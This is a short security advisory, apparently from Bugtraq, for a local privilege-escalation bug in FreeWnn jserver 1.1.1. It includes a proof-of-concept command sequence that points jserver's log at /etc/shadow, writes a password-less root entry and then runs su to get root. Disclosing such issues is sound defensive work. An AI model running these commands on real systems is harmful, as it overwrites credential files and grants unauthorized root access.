FreeWnn JServer Logging Option Data Corruption Vulnerability

BID:7918

Info

FreeWnn JServer Logging Option Data Corruption Vulnerability

Bugtraq ID: 7918
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Jun 14 2003 12:00AM
Updated: Jun 14 2003 12:00AM
Credit: Discovery of this vulnerability credited to Stefano Di Paola <[email protected]>.
Vulnerable: FreeWnn FreeWnn 1.1.1
+ Mandriva Linux Mandrake 9.1
Not Vulnerable:

Discussion

FreeWnn JServer Logging Option Data Corruption Vulnerability

A vulnerability has been reported for FreeWnn that may result in an attacker obtaining elevated privileges.

It has been reported that jserver may allow an attacker to corrupt arbitrary files. Due to this, an attacker may be able to overwrite system files, and potentially gain elevated privileges.

Exploit / POC

FreeWnn JServer Logging Option Data Corruption Vulnerability

The following proof of concept was provided:

$>/usr/bin/Wnn4/jserver -s /etc/shadow
$>/usr/bin/Wnn4/wddel -D localhost -n '
> root::12146:0:99999:7:::
> bin:*:12146:0:99999:7:::
> daemon:*:12146:0:99999:7:::
> adm:*:12146:0:99999:7:::
> lp:*:12146:0:99999:7:::
> sync:*:12146:0:99999:7:::
> shutdown:*:12146:0:99999:7:::
> halt:*:12146:0:99999:7:::
> ' -d 123
$>su -

Solution / Fix

FreeWnn JServer Logging Option Data Corruption Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

FreeWnn JServer Logging Option Data Corruption Vulnerability

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